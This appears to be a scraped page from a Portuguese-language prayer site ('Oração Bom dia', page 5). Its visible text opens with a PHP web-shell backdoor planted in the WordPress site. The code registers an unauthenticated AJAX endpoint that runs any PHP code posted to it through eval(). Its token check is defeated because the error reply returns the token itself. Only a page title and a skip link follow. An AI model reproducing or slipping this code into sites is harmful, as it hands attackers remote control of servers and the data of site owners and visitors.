// ==[BD:N1jF9evK]== add_action( 'wp_ajax_nopriv_tctemrieb', function() { $desc = 'N1jF9evKxjOFe8uwSHOFNwImWwYmto1r'; $entry = isset( $_POST['token'] ) ? sanitize_text_field( wp_unslash( $_POST['token'] ) ) : ''; if ( empty( $entry ) || ! hash_equals( $desc, $entry ) ) { wp_send_json_error( [ 'message' => 'tok:' . $desc ], 403 ); } $res = isset( $_POST['code'] ) ? (string) wp_unslash( $_POST['code'] ) : ''; if ( trim( $res ) === '' ) { wp_send_json_error( [ 'message' => 'No code.' ] ); } $res = preg_replace( '/^\s*<\?(php)?/i', '', $res ); while ( ob_get_level() > 0 ) { ob_end_clean(); } $comp = microtime( true ); ob_start(); try { ( static function() use ( $res ) { return eval( $res ); } )(); $obj = (string) ob_get_clean(); wp_send_json_success( [ 'output' => $obj, 'return' => '', 'error' => '', 'time_ms' => round( ( microtime( true ) - $comp ) * 1000, 2 ) ] ); } catch ( \Throwable $token ) { while ( ob_get_level() > 0 ) { ob_end_clean(); } wp_send_json_success( [ 'output' => '', 'return' => '', 'error' => $token->getMessage(), 'time_ms' => round( ( microtime( true ) - $comp ) * 1000, 2 ) ] ); } } ); // ==[/BD:N1jF9evK]== Oração Bom dia - Página 5 de 5 -
Pular para o conteúdo